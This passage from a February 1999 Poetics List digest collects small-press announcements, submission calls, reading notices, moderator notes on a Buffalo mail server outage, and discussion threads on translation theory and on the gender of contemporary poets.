interesting version by Robin Blaser which appeared in his THE HOLY FOREST (Coach House Press, 1993)

I would highly recommend the Artaud
to every one interested in Alchemy and Poetry--and of course, there is Rimbaud's "Alchimie du verbe" (Alchemy of the Word)
There is also Strindberg's explosive account of his efforts to
become an alchemist while in Paris (the name at the moment escapes me; it is something along the lines of Diary of a Madman)
all best
dave baptiste chirot

↑ Index

75. Dale Smith
What's With Modern Art?
Fri 5 Feb 1999

WHAT'S WITH MODERN ART? by Frank O'Hara arrived from the printer this week. Those of you who have sent orders will receive a copy within a few days.

WHAT'S WITH MODERN ART? contains selected short reviews and other art writings by Frank O'Hara that were mostly published in Art News in the mid 1950s. The 40 page chapbook was edited by Bill Berkson and is available from Mike & Dale's Press for $5. Checks payable to Dale Smith or Hoa Nguyen should be sent to the address below.

Selections are available for viewing in Jacket's issue 6 at www.jacket.zip.com.au

Dale Smith

2925 Higgins Street

Austin, TX 78722

Get Your Private, Free Email at http://www.hotmail.com

↑ Index

76. Joe Amato/Kass Fleisher
stein online...
Fri 5 Feb 1999

---

just to note that _time sense_ has published a number of interesting pieces on stein online, incl. one by kass (above) at

http://www.tenderbuttons.com/timesense/1_2.html

check it out!...

best,

joe

↑ Index

77. Poetics List
Note to Poetics
Fri 5 Feb 1999

All - an unanticipated hardware failure disabled all email service for the "buffalo.edu" domain
from Wednesday night through last night. If you attempted to post to the Poetics List during
this period, you're likely to have received bounced and/or error messages in reply - apologies
for any confusion this may have caused.

I'll try to have the new messages received (if any) out as soon as possible; however
our inbox seems to have been "more restored than restored," and contains, as if unread,
copies of all messages received since before February first! I'll try not to send out duplicate
messages, but inevitably there will be a few. If you've sent a post that does not arrive on
Poetics, please notify me or resend - I'm obviously going to be doing a lot of deleting here,
and the possibility for error is - possible.

Chris

↑ Index

78. Poetics List
Oasis Press publications
Fri 5 Feb 1999

---------- Original message (ID=3E29E91B) (82 lines) ----------

From: "Stephen Ellis" <[redacted]>
To: [redacted]
Subject: Oasis Press publications
Date: Fri, 05 Feb 1999 07:02:31 PST

OASIS PRESS BROADSIDES

11 x 17 folded sheets printed all sides; some double &/or triple issues, now approaching 50 in number, incl. writing of Daniel Zimmerman, Richard Blevins, Duncan McNaughton, Joe Napora, Ray DiPalma, versions of Mallarme (via Halliday Dresser) & Stefan George (via Tom Meyer), Edward Foster, Dale Smith, & others.

Also, Oasis Press fascicles, 16 to 24 pp. - same pg. size as broadsides, saddle stapled - incl. issues by Joel Lewis, Mark DuCharme, Mike Boughn.

Backlist available, mss. welcome; enqueries by mail only, please, to -

Oasis Press
c/o Stephen Ellis
23 Mitton Street
Portland, ME 04102

↑ Index

79. **cwa**
Shark Call
Fri 5 Feb 1999

Lytle Shaw asked me to forward this to the list. Chris

--

Shark, a journal of poetics and art writing, seeks submissions for two future issues to be organized around the themes of historiography and the encyclopedic.

Shark #3, Historiography. Deadline: June 15, 1999

How, on which interpretive registers, can art and poetry be understood as modes of historiography? To see contemporary art and poetry in relation to historiography (and not simply history) is to suggest that they are not secure producers of history, of a preserved reality whose documentation techniques we all know and understand. Instead, art arguably provides modes of inquiry about what the historical might be, about how we might imagine, construct, intervene in it. Contemporary art and poetry's historiographic capacities seem at least as broad as the lively and ongoing debates about what history itself might be: from the more traditional modes of state history, national history, hagiography and biography, to history of popular culture, of daily life, of private life, to histories of innovations within particular artistic media. But if art merely followed debates in historiography, it would hold less historiographic interest than it actually does: certainly art invents new (and as yet unarticulated) modes of historical inquiry and mapping. We seek essays and projects that explore or enact these questions. We do not publish poetry. As

always, we also seek reviews that need not be tied thematically to the rest of the issue.

Shark #4, The Encyclopedic. Deadline: November 1, 1999

What is contemporary encyclopedism? How do recent art and poetry make use not simply of knowledge, but of the epistemological and aesthetic problems inherent in the arrangement and storage of knowledge. Responses range at least from aestheticizing to bureaucratizing spaces designed for interaction with regimes of knowledge. Similarly, the very spaces where artists explore such issues have expanded beyond the literal textual space of the encyclopedia page to the space of the installation, the painting series, the building, or the city. Perhaps the dreams of unimpeded rationalism and viewable totality that underlay the Enlightenment encyclopedic urge now seem securely outmoded (and impossible) enough to become interesting again. Or, perhaps the encyclopedic simply means something knew in contemporary culture. In any case, what are the aesthetic and intellectual possibilities of neo-encyclopedism? We seek essays and projects that explore or enact these questions. We do not publish poetry. As always, we also seek reviews that need not be tied thematically to the rest of the issue.

Our first issue, May 1998, was devoted to "the Pre-Poetic." Contributors:

Gregg Biglieri
Mary Burger
Dodie Bellamy
Adam DeGraff
Emilie Clark
Alex Cory
Craig Dworkin
Dmitry Golynko-Volfson
Robert Hale
Lyn Hejinian
Kevin Killian
Katy Lederer
Pamela Lu
Laura Moriarty
Eugene Ostashevsky
Leslie Scalapino
Lytle Shaw
Mark Shepard

This issue is still available from the editors for $8. Please make check payable to Lytle Shaw or Emilie Clark. (Add $3 for mailing out of US)

Our second issue, which will come out in March 1999, is "What is Context?"
Contributors:

Tony Bellaver
Charles Bernstein
Gregg Biglieri
Torsten Burns & Anthony Discenza
Emilie Clark
Jean Day
Steve Evans
Linda Geary
Tony Gray
Julie Harrison & Brigid McLeer
Alystyre Julian
Bill Luoma
Emily McVarish
Sarah Pierce
Lytle Shaw
Mark Shepard
Lewis Warsh

Shark c/o
Lytle Shaw and Emilie Clark
74 Varick Street#203
NY, NY 10013
[redacted]

We are also available through Small Press Distribution ([redacted]) and, in the San Francisco Bay Area, at Cody's, Moe's and City Lights. In New York: St. Mark's Books.

↑ Index

80. Charles Bernstein
Seminary Co-Op Interview
Fri 5 Feb 1999

Seminary Co-op Books in Chicago has just put up an interview I did with them on their web site. The site itself is well worth a visit -- detailed information on new books each month, and a newsletter called The Front Table -- all adding up to a very useful resource.

for the interview go to:

http://www.semcoop.com/cbint.html

or via my home page: http://writing.upenn.edu/epc/authors/bernstein

↑ Index

81. Rebecca Wolff
apropos of distribution
Sun 7 Feb 1999

Regarding some of the recent statements made about distribution:

Coincidentally, as editor and publisher of Fence, a literary journal, I am about to engage in some preliminary discussion with some "suits" (administrative, bureaucratic types with connections to government agencies) regarding the situation of literary magazine distribution in this country. This seems to be an optimal, possibly final moment to make this kind of effort with the approaching Ingram/B&N merger, and I'm trying to work out some kind of "advocacy" program, whereby a figure might be installed either at CLMP (Council of Literary Magazines and Presses) or within the structure of the actual distributor, whose interest would be dual: to make money for the distributor by getting more people to buy literary magazines (via placement in bookstores, consumer education of some kind, etc.) and simultaneously to make distributors handle literary magazines with more delicacy and understanding, and to cut us deals relative to our wimpy buying power, etc. I know some of this probably sounds impossibly optimistic, (especially the thing about consumer education,) but that's what I am.

I'd like to collect, in the next week or so (we're meeting the 16th) some more statements of various experiences that publishers of literary journals (and in this case I'm afraid the conversation, for realism's sake, must be limited to those that are perfect-bound and therefore "distributable") have had with distribution--complaints, simple descriptions, analysis, commentary, etc. I'm going to be presenting some of this to these folks in the hopes of trying to effect some practical change.

I would especially like to hear some ideas from publishers about HOW to make a change; what are the practical obstacles that could be altered and how?

Please identify yourself in your reply and say what magazine, what distributor, what part of the country, etc.

If I've left anything out, please feel free to fill that in too.

Thanks,

Rebecca Wolff

↑ Index

82. Alaric Sumner

Perihelion (soundtextimage section) Call For Submissions

Sun 7 Feb 1999

Please forward widely:

_____

PERIHELION (internet magazine) http://webdelsol.com/Perihelion/ (Editor: Jennifer Ley)

CALL FOR SUBMISSIONS (creative and critical)

The Autumn Issue of Perihelion will feature a special Section of Soundtext work
Edited by Alaric Sumner
Issue release date: September 1999

_____
CREATIVE SUBMISSIONS:
(Previously unpublished work only)

"PER[ear see eye hear]FORM"

The internet provides the opportunity to present work which has visual=textual=sonic aspects. Perihelion has, for a number of issues, combined textworks with Real Audio® soundfiles. We are now seeking work that is more extensive: a performance piece with its score; a sound file of a performance with the image=text that generated it; multivoice texts. We are not seeking sound pieces that have no visual=textual element but work that allows viewers to explore the RELATIONSHIPS between a something seen=read and something heard (an conventional example would be the relationship between a score and its recorded performance). Submission is encouraged from any artist (visual artist/poet/composer) working in the realm of image=text into sound.

[NB: If your work utilizes more than page to page interior html linking, image maps, or javascript, you will have to do your own coding etc. Perihelion can't be responsible for specialized coding to make the presentation work. Contributors should tailor their presentations to fit into our design and must supply their own RealAudio files, not to exceed 1 meg in size, recorded to work at 28.8 modem speed and play on the free versions of RealAudio Player available for both Macintosh and PC.]

_____
CRITICAL SUBMISSION:
(Previously unpublished work only)

"wRITE"

In 1998, Writers Forum in the UK published WORD SCORE UTTERANCE CHOREOGRAPHY (ed. Cobbing and Upton, ISBN 0 86162 750 4), which offered contributors pagespace for what the editors called "visual poetry" and another page for an exploration of how that work would proceed to performance. That book implicitly and explicitly challenged the boundaries set by such terms as "poetry" and, as Spencer Selby has said, "does advocate for ideas of poetry beyond literature, for ideas of art beyond schools and reductive categories". (See also section on writing and performance edited by Alaric Sumner in PAJ 61 (Johns Hopkins UP) - http://muse.jhu.edu/journals/performing_arts_journal/toc/pajv021.html#v021.1 .)

Building on the concern with the relationship between image and performance (sound), for this issue of Perihelion we are inviting critical discussions on the nature of Image=Text=Sound work and on practitioners. Ideally critical submissions will explore, in their structure, the nature of the medium on offer (Internet) and would not be restricted to conventional critical essay format. Theoretical/critical work from the contributors to "PER[ear see eye hear]FORM" on their own pieces is welcome, but essays from others on theoretical issues and on practitioners (historical or contemporary) who deal with Image Text Sound in any of their interweavings, are also invited.

Contributions to Perihelion's 'Practice' section - about the technology behind the work and bringing it to the Internet - are also sought.

To check if your idea fits, initial submissions/proposals and enquiries to: mailto:[redacted] .

Deadline for initial contact: 15th March 1999

Deadline for submission of finished RealAudio files (creative) and textimage files (both creative and critical): July 15th 1999

↑ Index

83. Alaric Sumner

The Flea Theatre Reading Series, New York, Feb 17

Sun 7 Feb 1999

Since this doesn't appear to have got onto the archive, it may have got caught in the recent problems. So I am submitting it again:

February 17
4pm

Rehearsed reading of >Conversation in Colour<
Text: Alaric Sumner

Directed: Clyde Simon
Music commissioned from composer Michael Finnissy.

The Bat Theatre Company [http://www.thebat.com]
The Flea Theatre
41 White Street
New York
NY 10013

> *The Flea Theatre Reading Series*
>
> *This series will include pieces ranging from works-in-progress having their first readings, to new pieces which have already had productions outside New York. Although open to the public (gratis), the series is primarily for the benefit of the resident company to introduce new works/writers to the company, including to Artistic Director Jim Simpson, as candidates for further collaboration.*

Conversation in Colour was first performed at the Tate Gallery St Ives and Dartington Arts Centre in 1996 (with recordings of Finnissy playing his own music) funded by South West Theatre Consortium and sponsored by Terry Bird (Bang and Olufsen South West). In 1994, Phil Dalziel (an MA student at University of Leeds) devised a performance out of the text for his final degree showing.

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84. Katherine Lederer
New/ PERMANENT address for Explosive/ Spectacular Books
Sun 7 Feb 1999

Explosive Magazine and Spectacular Books have a new mailing address:

PO Box 250648
Columbia University Station
New York, NY 10025

The magazine is still going strong with a S=U=P=E=R=S=T=A=R April line-up to be announced. The cover art is going to be extra special--with fantastic block-prints on the inside too!

The first three chapbooks in the Spectacular Chapbooks series are all available (or will be shortly) in signed and unsigned editions:

Tina Celona: Songs & Scores
Juliana Spahr: Spiderwasp or Literary Criticism
Martin Corless-Smith: The Garden. A Theophany or Eccohome: A Dialectical Lyric

The next title--a whopping geniusattack by Leslie Scalapino entitled "Seamless Antilandscape"--is forthcoming in April. Future titles by Lisa Lubasch, Prageeta Sharma, Josh May, and Lyn Hejinian (among others) will also be available.

A *very* few copies of Explosive Magazine #6 are still available for $6
All chapbooks can be ordered for $6 a piece
Signed and numbered sets of ten chapbooks: $50

Please make checks payable to Katy Lederer
(International orders: please include $1 s/h per title--$5 for the set of ten chapbooks)

Thanks!

↑ Index

85. Kathleen Crown
Ed Roberson -- Seton Hall Reading
Sun 7 Feb 1999

READING AND PERFORMANCE
Poetry-in-the-Round
Seton Hall University, Kozlowski Hall
Tuesday, February 9, 1999
7:45 pm

ED ROBERSON
and the Royal Hartigan Jazz Quartet.

ED ROBERSON is the author of six books of poetry, one of which won publication as the 1995 Iowa Poetry Prize and another as the 1998 National Poetry Series winner. Recently, Mr. Roberson received a Lila Wallace-Readers Digest Writers Award. The purpose of the award is to enable accomplished writers to create new work while partnering with nonprofit organizations on projects that generate interest in and enthusiasm for the written word. The three-year award includes $30,000.00 for a non-profit organization of the poet's choosing.

for more information about the reading, contact Jeffrey Gray, Director, Poetry-in-the-Round: [redacted]

↑ Index

86. Garrett Kalleberg
TF8 - 2/99 - Coffins
Sun 7 Feb 1999

Little cave. Seventeen tiny coffins.

A wig-maker's tomb.

The devil's hermitage.

A hole a cave a mouth.

[Tiny figure of red devil.]

> The Transcendental Friend
> Issue No. 8, February 1999
>
> www.morningred.com/friend/1999/02/cover.html

Work by Jesse Glass, Aloysius Bertrand (translated & presented by Irène Eulriet & Rob Guthrie), Charles Baudelaire (translated by David Cameron), Pam Rehm, and H. Ramsdell & G. Kalleberg

.

Back issues of The Transcendental Friend are available from the Home page, at the address below.

Garrett Kalleberg
mailto:[redacted]

The Transcendental Friend can be found at:
http://www.morningred.com/friend

↑ Index

87. Peter Ganick
POTEPOETZINE / POTEPOETTEXT
Sun 7 Feb 1999

A year and a half ago, there were two ezines POTEPOETZINE and POTEPOETTEXT, published by Potes & Poets Press. They were sent to subscribers who sent their email address to Potes & Poets' e-address free of charge. Is was NOT a listserv. One just sent an informal notice of wanting to receive the ezine, or unsubscribe.

As of now, the series will be resurrected, or continue on from where it left off. Seven issues of POTEPOETZINE and nine of POTEPOETTEXT were sent forth.

POTEPOETZINE is an edited ezine seeking submissions of approximately 4 screens in length -- AND, e-addresses of anyone who wants to receive it. Issues will be sent out when sufficient material collects and time to process it arrives. The focus will be on experimental, post-language, and cyber-oriented poetry and short prose.

POTEPOETTEXT is an edited single-author ezine seeking texts of poetry or on poetics, of approximately 16 screen lengths, with some philosophical import. Cyber-topics will be especially welcome.

~ ~ ~ ~ ~ ~

Send e-addresses and submissions to:
Peter Ganick
[redacted]

SPREAD THE WORD TO YOUR FRIENDS!!!!

~ ~ ~ ~ ~ ~

↑ Index

88. jesse glass
Stuart Z. Perkoff and the Temple of Man
Sun 7 Feb 1999

This is a multi-part message in MIME format.

Beach and Temple; Outsider Poets and Artists of Western America 1953-1995 by David B. Griffiths. International Scholars Publications. ISBN 1-57309-311-4-HC, ALK, Paper. 425 pages. $40.00.

At the same time that Ginsberg, Kerouac, Corso and company were transforming American letters to the north, a group of poets centered in the Venice Beach area of California were also involved in creating a distinctive poetry. This scene centered around the work and life of Stuart Z. Perkoff, a poet whose significance is just now being rediscovered, his complete poems having recently been released from The National Poetry Foundation. Jack Hirschman, David Meltzer, and other poets and writers of note were associated with this group and their peculiar allegiance to The Lady and the self-styled Temple of Man.

Griffiths interviewed many members of the group and examines and catalogues the rare publications that sustained their community. In so doing, he gives valuable biographical information about Perkoff and provides the context in which he and his friends, lovers, and followers lived and wrote. This book will prove invaluable for those interested in a little-known aspect of American literary history, and is yet another piece of the puzzle of what happened in the 1950's that gave rise to the explosion of alternative lifestyles of the 1960's.
Jesse Glass.

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89. Louis Cabri
PhillyTalks 9
Sun 7 Feb 1999

PhillyTalks 9, featuring Heather Fuller and Melanie Neilson, is out!

The event takes place Wednesday Feb 10, 7 pm, at Writers House, 3805 Locust Walk, Philadelphia.

The newsletter--which features new work by the poets as well as dialogue between them, and also includes responses to previous newsletters, by Clint Burnham and Jeff Derksen--is available for $2 from me.

Previous issues of the newsletter are also available: #1, Bromige/Moriarty; #2, Levy/Mac Low; #3, Derksen/Silliman; #4, Darragh/Osman; #5, Gilbert/Toscano; #6, Response issue plus transcript of the Derksen/Silliman exchange; #7, Stefans/Wah; #8, Andrews/Smith.

All best,
Louis Cabri
4331 Pine St., #1R
Philadelphia, PA
19104

↑ Index

90. A. Jenn Sondheim
(from Nikuko) (please forward to her friends)
Mon 8 Feb 1999

---

*

(from Nikuko)

Nikuko says, I start this text one fine evening, and I will end it on ano- ther. There is snow on the ground and flurries in the air, and dark-suited pedestrians walk home, sullen, beneath the gaslights. I can hear them from my own darkness, my own world, the screen pregnant, slightly swollen. If you would only listen, I would tell you how, on the morrow, a great golden globe shall fill the sky, with golden rays, and universal peace shall descend upon all human-kind. The dead will walk, the fish will fly. But I am lost with the umbrellas in St. Petersburg, where you will find me rushing off to a Nihilist meeting, where we will discuss the Crimea and the Jewish Question. And I do believe in my heart of hearts that I am tending towards Fyodor's position; perhaps on the morrow as well, we shall march on Constantinople. The light is dim; two peasant women move hurridly out of the way of several Cossacks on horseback. Last night, I dreamed of 1903, and woke in wonder at our all-too-brief life on earth. Now I

wonder how you will find me. And I am lost in scarves and skirts, faces muffled against the icy wind. St. Petersburg is no place to be this time of year; some would say, at any. I am pregnant, with longing, and with child. And I know, again on the morrow, beneath these dimmed winter nights, that my time will come as well. I am no man's burden.

↑ Index

91. Jamie Ferguson
(no subject)
Mon 8 Feb 1999

To those who have replied to my attempts at instigating an exchange on literary translation, thank you. However, I wonder if we could write to each other on the List instead of privately. The more opinions and information we publish, it seems to me, the more responses we might get from other parties, and the richer the exchange.

And as for opinions: I am suspicious of what people have been writing to me on Steiner. Everyone seems to have read some of AFTER BABEL, and everyone seems to want to dismiss the book. I sense in these disparagements a Popular Opinion, not founded on real engagement. I will stake my virtual reputation on the claim that, dropped between the covers of AFTER BABEL, THE TRANSLATOR'S INVISIBILITY disappears without a trace (forgive the pun): there is nothing in Venuti that is not better expressed in Steiner. (I sense another popular opinion behind Venuti's popularity.)

A former professor of mine once said that Steiner was a charlatan... now if you're experiencing a little thrill of joy at these words, I would ask if this feeling doesn't result from confirmed prejudice rather than the steadier pleasure of discovering a shared perception. Plato said it: there is opinion and then there is knowledge; Herodotus said the same, and Charles Olson took up the distinction as one of his main tenets (pardon my truly Modernist timeline). I told my professor that I had read only AFTER BABEL, but that, as far as that book was concerned, Steiner seemed to me excellent. He replied that translation would, in fact, be an area in which Steiner could be relied upon... generally speaking, that is: he had not read the book.

For those of you who HAVE read the book: what, specifically, don't you agree with? As I said in my last post, there are two chapters that I return to in AFTER BABEL: The Claims of Theory and The Hermeneutic Motion. I am not qualified to make a professional assessment of Steiner's arguments addressing Linguistics, the physiology of the brain, the setting to music of poetic texts, etc.; as a review and synthesis of a sizeable gamut of translation practices and

theories, however, AFTER BABEL is indispensable. AB does not make the claim on the cover of THE TRANSLATOR'S INVISIBILITY to being "A History of Translation", and yet the former includes much more history than the latter, and is not shaped, as Venuti's book is, by a clearly political agenda.

As I said before, Venuti's purpose is to expose a preference for a particular kind of English as a vehicle for translation, and not to demonstrate the literary quality (in the work of Newmann, Blackburn, Venuti himself, etc.) that is excluded by this preference. Nor does he attempt to show the lack of quality that results from such a tendentious preference. In an "objective" history of tastes, this program would make sense, but Venuti is arguing explicitly for a reappraisal of the kind of work that has been excluded (one wonders how much of this comes of a resentment at the exclusion of his own work - see the penultimate chapter), while his sole claim for this work is that it has suffered from a consistent prejudice. This seems to me fallacious, and dangerous, reasoning. It is on this basis that I call Venuti's book strictly "political." I don't have a copy of the book with me, but would welcome points on specific passages.

I would very much like to learn of Dennis Tedlock's work on translation, perhaps beginning with a distinction between what is anthropological and what is literary in his work. (Are my categories antiquated?)

Also: a correspondent mentioned a book, THE EXPERIENCE OF THE FOREIGN, by Antoine Berman, which, I am sorry to say, I have never even heard of. Please share.

Has anyone, besides Steiner, read Emile Littré on his translation of the COMMEDIA into fourteenth-century French (the French, as Littré says, and Steiner after him, that Dante knew and learned from). I am translating this article into English at the moment: does anyone know of a journal that might take an interest in such a translation? (The article was published mid-nineteenth-century; the translation will be written in a nineteenth-century literary dialect: I'm in the process of weighing up Ruskin and Arnold as possible donors.)

Another possible point of departure: how much in the exchange on translation published on the RIF/T site [http://writing.upenn.edu/epc/rift/rift04/edit0401.html], aside from the Benjamin-excerpts, is worthwhile? Has this thread been followed up?

A CORRECTION: in my last post, I wrote "mis-en-scene" instead of "mise-en-scene" with an /e/.

Until next time,
Jamie Ferguson
Paris

Get Your Private, Free Email at http://www.hotmail.com

↑ Index

92. louis stroffolino

BATTLE OF THE SEXES

Mon 8 Feb 1999

Dear listees: You know, there's certain "commonplaces" circulating that the women writers of "my generation" are so much better than the male writers (the previous moderator Joel Kuzsai, I think was the last one to say this, and it went unchallenged....so far)--- I think I used to think this too a couple of years ago, but the best books I've read in the last year by young writers all seem to be male for me (NOTICE very carefully my wording-- I am not saying that the MALES are the superior sex or anything, I'm just saying that it is as ridiculous to say the women are the best writers of my generation as it is to say that say Ron Silliman or Bruce Andrews is better than Carla Harryman or Rae Armantrout...)

specifically, two "first books"
Anselm Berrigan's INTEGRITY & DRAMATIC LIFE
Joshua Beckman's THINGS ARE HAPPENING
and two "second books"
Peter Gizzi's ARTIFICIAL HEART
and Jeffrey McDaniel's THE FORGIVENESS PARADE...

well, if anybody wants to tell me why the works by the
more currently "fashionable" gender are better, feel free
(unless the moderator doesn't see this kind of argument
as worthy of the new list.....)

sincerely,
chris stroffolino

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93. jasfoley

Re: (Fwd) Coincidence?

Mon 8 Feb 1999

In a message dated 2/4/99 11:07:18 AM EST, [redacted] writes:

<< For those interested in Politics and the English Language --

PRESIDENT CLINTON OF THE USA

Can be rearranged (with no letters left over, and using each letter only once)
into:

TO COPULATE HE FINDS INTERNS
>>

Actually, it doesn't work. There is no H in "PRESIDENT CLINTON OF THE USA" and no F either. The phrase "TO COPULATE" has two o's in it; there is only one o in "PRESIDENT CLINTON OF THE USA." I haven't looked for any other problems.

"Those interested in the English language" might do well to take a closer look!

Jack

↑ Index

94. jasfoley
correction
Mon 8 Feb 1999

Actually there ARE two o's in "PRESIDENT CLINTON OF THE USA"--my mistake--but still no F or H.

Jack

↑ Index

95. Charles Bernstein
UB MAIL / Poetics List DOWN
Mon 8 Feb 1999

The email system at UB has crashed again, second time this week. This time it has been a complete crash and the whole system, including all saved mail, etc., will have to be restored. UB email has been down since early Sunday morning. The technical folks at UB have announced that tomorrow (Tuesday) they expect to be able to deliver all the mail that was sent to UB accounts after midnight Saturday. This means that mail sent to any individuals at "buffalo.edu" after midnight Saturday night has not been delivered and that individuals using the UB mail servers cannot now access their accounts. That covers both the EPC and the Poetics List, to name just a few affected. Unfortunately, mail sent to the Poetics List won't be able to go out until this problem is fixed. However, the messages already sent should find their way out to the list fairly soon, if things go as the systems administrators tell us they will.

↑ Index

96. Elizabeth Treadwell

Clean Laundry Times Fashion Week - OR - Double Lucy's New Improved Website!!

Mon 8 Feb 1999

Hi All--
Are you ready for fashion week? Its early this year and Double Lucy throws her/our hat in with a new, improved website featuring excerpts from
Outlet (3) Ornament by:
LAURA MORIARTY
FRANKLIN BRUNO
JASON NELSON
MALCOLM DE CHAZAL [translated by IRVING WEISS]

As you stroll about, perhaps running into Kate Moss as she recuperates from THE WEIGHT OF IT ALL,
you'll also find our ***Outlet/DLB ARCHIVE****, including work by:
TAN LIN
JOCELYN SAIDENBERG
NORMA COLE
YEDDA MORRISON
SARAH ANNE COX
LINDA RUSSO
STANDARD SCHAEFER
ELIZABETH TREADWELL
JEN HOFER
CYDNEY CHADWICK
LILY JAMES
CAROL TREADWELL
MICHELLE MURPHY
CHERYL BURKET
&
GRACE LOVELACE on HAL HARTLEY's "Henry Fool"

Coming soon: more excerpts from Outlet (3) Ornament, and excerpts from Double Lucy's first prose chapbook, LYNNE TILLMAN's novella, LOVE SENTENCE.

Stop by and check out the catwalk, kids!!!

xx
Elizabeth Treadwell (AKA Anna Wintour)

ps: you can get straight to the Outlet excerpts by dialing
http://users.lanminds.com/~dblelucy/page8.html

Outlet Magazine -&- Double Lucy Books
P.O. Box 9013, Berkeley, California 94709 U.S.A.
http://users.lanminds.com/~dblelucy

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97. John Kimball
Haiku and misdemeanors
Mon 8 Feb 1999

The East Village Poetry Web.

<http://www.theeastvillage.org>

or

<http://interserver.miyazaki-med.ac.jp/~east/village.htm>

Sound and vision.

Volume Five -- Lewis Warsh [Milton Street]; M Sarki [4 Poems]; Paul Violi [4 Poems]; Wei Se [3 Poems]; Andrea Brady [4 Poems]; Wang Ping [2 Poems]; Sean Cole [Dickensian]; Hoa Nguyen [9 Poems]; Harris Schiff [3 Poems]; Toko Shinoda [5 Images]; Gary Sullivan [5 Letters]; Kenjiro Okazaki [2 Images with Verse Titles]; Mark Salerno [7 Poems]; Nada Gordon [Ravel]; Roxy Paine [2 Images]; Andrew Levy [Combat the Forces...]; Katherine Steele [3 Poems]; Sheila Murphy [3 Poems]; Brian Kim Stefans [2 Poems]; Scott Watson [4 Poems]; Peter Ganick [from Agression]; David 2 Divizio [Hunger]; Chong Lau [Untitled Image]

Audio & Video -- Tomoyuki Iino [John Ashbery: Translated into Japanese]; Squarepusher [Come on My Selector]; The Brilliant Green [Message]; Peter Ganick; Nada Gordon; Sean Cole; Andrea Brady

Web Textcraft -- Annette Loudon [Skyline]; Reiner Strasser [2 Image Sets]; Chris Najewicz [My Life as a Brick]; Miekal And ["mesostics for dick higgins"]

(For previous selections, including Poetries of Canada, choose "Other Volumes" in the upper left of the opening screen.)

Thanks.

↑ Index

98. Heather H Thomas
get your 6ix
Tue 9 Feb 1999

Greetings everyone,

6ix is here!

The latest edition of the newly designed and expanded 6ix features Lewis Warsh, Shira Dentz, Eli Goldblatt, Robin Caton, Spencer Selby, H. T., Elizabeth Robinson, Charles Alexander, Sheila Murphy, Liz Waldner, Andrew Mossin, Cynthia Hogue, Jonathan Brannen, Jacques Debrot, Linda Russo, Joe Ahearn, Donna Cartelli, Michael Magee, and more.

For your copy or to subscribe, send $6 for one year/one copy or $12 for two to: 6ix, 427 West Carpenter Lane Philadelphia, PA 19119

Heather H. Thomas, English Dept., Kutztown U., Kutztown, PA/USA [redacted]

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99. Daniel Kane
Tom Carey on WriteNet
Tue 9 Feb 1999

The "WriteNet" web site has just put up an interview with Tom Carey (poet who has a book out called _Desire_ and who is known as James Schuyler's "muse" in Schuyler's later poetry). Carey talks about methods for teaching the persona and list poem. You can also download a reading of his poem "Father Bob." The page is located at

http://www.writenet.org/poetschat/poetschat_tcarey.html

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100. Mike Kelleher
Reading
Tue 9 Feb 1999

Hi friends

If you're in NYC this weekend

Mike Kelleher
Jonathan Skinner
and
Eleni Stecopoulos

will be reading at Double Happiness, 173 Mott St. (at Broome)

Saturday, February 13 @ 4pm

Hope to see you there

m

↑ Index

101. R. Gancie/C.Parcelli

readings and contests

Tue 9 Feb 1999

Thursday, 11 at 7P.M. Love Letters for Literacy featuring Alice McDermott, Daniel and Ruth Boorstin and others reading from poetry and prose in honor of Valentine's Day at the New Zealand Embassy, 37 Observatory Circle, [redacted]. Tickets are $75.00 with all proceds going to the Washington Literary Council. -- Joaquin Miller Cabin Poetry Series is currently seeking poets for summer readings. The deadline is March 15. For guidelines, call [redacted]. -- Secretary of Defense, William S. Cohen, will host an open poetry reading on the deck of the aircraft carrier, U.S.S. Nimitz, Saturday,12 at 0300 hours. All poetic voices welcome. BYOB.

↑ Index

102. Poetics List

More trouble...

Tue 9 Feb 1999

The mailhub for the <buffalo.edu> domain failed again late Saturday. My apologies for the silence
from this end - I'm just now able to reach the list account, thanks to a temporary fix implemented
about 25 minutes ago.

I'm going to send through the messages that I have queued here - others will come as I'm able to
send them, but please be patient: I'm not yet sure how this "fix" is going to affect the behavior of the
listserv program or even the list account! The "permanent" solution to our server problems is due
next week - until then, keep your fingers crossed when not typing.

Chris

↑ Index

103. Poetics List
Armand Schwerner 1927-1999
Tue 9 Feb 1999

---------- Original message (ID=BE0E52FF) (25 lines)

From: [redacted]
Date: Sun, 7 Feb 1999 23:22:42 EST
To: [redacted]
Subject: Armand Schwerner 1927-1999

GLAD TO HAVE SHARED SOME OF THIS CENTURY'S RIDE
WITH ARMAND THE SCHOLAR-TRANSLATOR OF "THE TABLETS"
HIS WILD TENDERNESS
SERIOUS FUN
FRIENDLY LEARNEDNESS
& (AS THE ENGLISH USED TO SAY) "NO SIDE"

Anselm Hollo

↑ Index

104. Alaric Sumner
MAY
Tue 9 Feb 1999

PLEASE NOTE

THE TEXTIMAGESOUND ISSUE OF PERIHELION WHICH Alaric Sumner IS EDITING IS THE SEPTEMBER ISSUE (text is visual, language is soundimage, image is textual)

THE MAY ISSUE CALL FOR SUBMISSIONS IS AS FOLLOWS:

_____

The May 1999 issue of Perihelion will be guest edited by Peter Howard.

The theme for this issue of Perihelion is 'Nationality or Not' and will explore questions of how nationality and location influences poetry (and vice versa) and whether telecommunications breaks down or changes these influences. Poems, essays and discussions that relate to this theme, directly or tangentially, are particularly welcomed.

Submission Period: February 15th through April 15th, 1999

-- Send up to five poems in the body of your email message (no attachments without prior query) to [redacted] -- Submissions must be unpublished (newsgroup

or workshop postings are not considered publication) -- Please include a short biography

If you want to sound Peter out on an idea for a critical article, please do. If you'd be interested in taking part in an email discussion of the them, to be reproduced in the issue, let him know mailto:[redacted]

Perihelion is at: http://webdelsol.com/Perihelion/

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105. Katherine Lederer
BATTLE OF THE SEXES
Tue 9 Feb 1999

The females are on their way:

Ange Mlinko: MATINEES (Zoland, April 1999)
Prageeta Sharma: BLISS TO FILL (Subpress, May 1999)
Lisa Lubasch: HOW MANY MORE OF THEM ARE YOU? (Avec, April 1999)
Pamela Lu: PAMELA: A NOVEL (Atelos, April 1999)

Katy

> *Dear listees:*
> *You know, there's certain "commonplaces" circulating that the*
> *women writers of "my generation" are so much better than the*
> *male writers (the previous moderator Joel Kuzsai, I think was the*
> *last one to say this, and it went unchallenged....so far)---*
> *I think I used to think this too a couple of years ago,*
> *but the best books I've read in the last year by young writers*
> *all seem to be male for me (NOTICE very carefully my wording--*
> *I am not saying that the MALES are the superior sex or anything,*
> *I'm just saying that it is as ridiculous to say the women are*
> *the best writers of my generation as it is to say that say*
> *Ron Silliman or Bruce Andrews is better than Carla Harryman*
> *or Rae Armantrout...)*
>
> *specifically, two "first books"*
